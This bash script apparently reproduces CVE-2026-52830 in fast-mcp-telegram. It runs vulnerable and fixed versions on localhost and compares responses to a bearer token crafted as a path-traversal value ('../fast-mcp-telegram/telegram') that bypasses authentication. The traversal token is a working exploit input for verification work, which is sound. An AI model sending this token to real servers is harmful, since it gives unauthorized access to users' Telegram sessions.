#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

# Use project cache if available, otherwise fall back to bundle artifacts.
PROJECT_CACHE_DIR="$ROOT/artifacts"
PCC="$ROOT/project_cache_context.json"
if [ -r "$PCC" ]; then
    CACHED_DIR=$(jq -r 'select(.prepared==true) | .project_cache_dir // ""' "$PCC" 2>/dev/null || true)
    if [ -n "$CACHED_DIR" ]; then
        PROJECT_CACHE_DIR="$CACHED_DIR"
    fi
fi
mkdir -p "$PROJECT_CACHE_DIR"

# Controlled HOME so the default session directory is deterministic.
export HOME="$REPRO_DIR/fakehome"
SESSION_DIR="$HOME/.config/fast-mcp-telegram"
mkdir -p "$SESSION_DIR"
# Ensure the target default session file exists.
if [ ! -f "$SESSION_DIR/telegram.session" ]; then
    touch "$SESSION_DIR/telegram.session"
fi

VULN_VENV="$PROJECT_CACHE_DIR/venv_vuln"
FIXED_VENV="$PROJECT_CACHE_DIR/venv_fixed"

VULN_PORT=8000
FIXED_PORT=8001

HEALTH_RETRIES=30
HEALTH_SLEEP=0.2

# Kill any leftover fast-mcp-telegram processes from earlier runs.
pkill -f "fast-mcp-telegram" 2>/dev/null || true

install_version() {
    local venv="$1"
    local version="$2"
    if [ ! -d "$venv" ]; then
        python3 -m venv "$venv"
    fi
    "$venv/bin/pip" install --disable-pip-version-check "fast-mcp-telegram==$version" 2>&1 | tee -a "$LOGS/pip_${version}.log"
}

wait_for_health() {
    local port="$1"
    local logfile="$2"
    local i=0
    while [ "$i" -lt "$HEALTH_RETRIES" ]; do
        if curl -sf http://127.0.0.1:"$port"/health >/dev/null 2>&1; then
            return 0
        fi
        sleep "$HEALTH_SLEEP"
        i=$((i+1))
    done
    echo "ERROR: server on port $port did not become healthy (see $logfile)" >&2
    cat "$logfile" >&2
    return 1
}

start_server() {
    local venv="$1"
    local port="$2"
    local logfile="$3"
    SERVER_MODE=http-auth \
    HOST=127.0.0.1 \
    PORT="$port" \
    SESSION_DIR="$SESSION_DIR" \
    "$venv/bin/fast-mcp-telegram" > "$logfile" 2>&1 &
    echo "$!"
}

fire_request() {
    local port="$1"
    local token="$2"
    local outfile="$3"
    local http_code
    http_code=$(curl -s -o "$outfile" -w '%{http_code}' \
        -X POST http://127.0.0.1:"$port"/v1/mcp \
        -H "Content-Type: application/json" \
        -H "Accept: application/json, text/event-stream" \
        -H "Authorization: Bearer $token" \
        -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}')
    echo "$http_code"
}

install_version "$VULN_VENV" "0.19.0"
install_version "$FIXED_VENV" "0.19.1"

# --- Vulnerable attempt ---
VULN_PID=$(start_server "$VULN_VENV" "$VULN_PORT" "$LOGS/server_vuln.log")
wait_for_health "$VULN_PORT" "$LOGS/server_vuln.log"

RESERVED_STATUS=$(fire_request "$VULN_PORT" "telegram" "$ARTIFACTS/http_vuln_reserved.txt")
TRAVERAL_STATUS=$(fire_request "$VULN_PORT" "../fast-mcp-telegram/telegram" "$ARTIFACTS/http_vuln_traversal.txt")
NOAUTH_STATUS=$(fire_request "$VULN_PORT" "invalid-token" "$ARTIFACTS/http_vuln_noauth.txt")

echo "Vulnerable server (0.19.0): reserved telegram -> $RESERVED_STATUS"
echo "Vulnerable server (0.19.0): traversal token -> $TRAVERAL_STATUS"
echo "Vulnerable server (0.19.0): invalid token -> $NOAUTH_STATUS"

kill "$VULN_PID" 2>/dev/null || true
wait "$VULN_PID" 2>/dev/null || true

# --- Fixed attempt ---
FIXED_PID=$(start_server "$FIXED_VENV" "$FIXED_PORT" "$LOGS/server_fixed.log")
wait_for_health "$FIXED_PORT" "$LOGS/server_fixed.log"

FIXED_TRAVERAL_STATUS=$(fire_request "$FIXED_PORT" "../fast-mcp-telegram/telegram" "$ARTIFACTS/http_fixed_traversal.txt")
echo "Fixed server (0.19.1): traversal token -> $FIXED_TRAVERAL_STATUS"

kill "$FIXED_PID" 2>/dev/null || true
wait "$FIXED_PID" 2>/dev/null || true

# Determine outcome.
CONFIRMED=false
if [ "$RESERVED_STATUS" = "401" ] && [ "$TRAVERAL_STATUS" = "200" ] && [ "$NOAUTH_STATUS" = "401" ] && [ "$FIXED_TRAVERAL_STATUS" = "401" ]; then
    CONFIRMED=true
fi

# Always capture the response bodies for the traversal evidence.
if [ -f "$ARTIFACTS/http_vuln_traversal.txt" ]; then
    echo "--- Vulnerable traversal response (first 20 lines) ---"
    head -20 "$ARTIFACTS/http_vuln_traversal.txt" || true
fi

# --- Write runtime manifest ---
if [ "$CONFIRMED" = "true" ]; then
    jq -n \
        --arg entrypoint_kind "api_remote" \
        --arg entrypoint_detail "POST /v1/mcp with Bearer token traversal" \
        --argjson service_started true \
        --argjson healthcheck_passed true \
        --argjson target_path_reached true \
        --argjson runtime_stack '["fast-mcp-telegram","uvicorn","fastmcp"]' \
        --argjson proof_artifacts '["logs/server_vuln.log","logs/server_fixed.log","repro/artifacts/http_vuln_reserved.txt","repro/artifacts/http_vuln_traversal.txt","repro/artifacts/http_vuln_noauth.txt","repro/artifacts/http_fixed_traversal.txt"]' \
        --arg notes "Vulnerable 0.19.0 accepted traversal token (HTTP 200) while rejecting the reserved token and no-auth; fixed 0.19.1 rejected the traversal token (HTTP 401)." \
        '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
        > "$REPRO_DIR/runtime_manifest.json"
else
    jq -n \
        --arg entrypoint_kind "api_remote" \
        --arg entrypoint_detail "POST /v1/mcp with Bearer token traversal" \
        --argjson service_started true \
        --argjson healthcheck_passed true \
        --argjson target_path_reached false \
        --argjson runtime_stack '["fast-mcp-telegram","uvicorn","fastmcp"]' \
        --argjson proof_artifacts '["logs/server_vuln.log","logs/server_fixed.log","repro/artifacts/http_vuln_reserved.txt","repro/artifacts/http_vuln_traversal.txt","repro/artifacts/http_vuln_noauth.txt","repro/artifacts/http_fixed_traversal.txt"]' \
        --arg notes "Unexpected statuses: reserved=$RESERVED_STATUS traversal=$TRAVERAL_STATUS invalid=$NOAUTH_STATUS fixed=$FIXED_TRAVERAL_STATUS" \
        '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
        > "$REPRO_DIR/runtime_manifest.json"
fi

# --- Optional proof-carry cache copy ---
if [ -r "$PCC" ] && [ "$(jq -r '.proof_carry.enabled // false' "$PCC" 2>/dev/null || echo false)" = "true" ]; then
    CACHE_PROOF="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
    mkdir -p "$CACHE_PROOF"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$CACHE_PROOF/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$CACHE_PROOF/runtime_manifest.json" 2>/dev/null || true
    cp -f "$LOGS/"*.log "$CACHE_PROOF/" 2>/dev/null || true
fi

if [ "$CONFIRMED" = "true" ]; then
    echo "CONFIRMED: CVE-2026-52830 path-traversal auth bypass reproduced on the real HTTP API."
    exit 0
else
    echo "NOT CONFIRMED: expected reserved=401, traversal=200, invalid=401, fixed=401. Got reserved=$RESERVED_STATUS traversal=$TRAVERAL_STATUS invalid=$NOAUTH_STATUS fixed=$FIXED_TRAVERAL_STATUS"
    exit 1
fi
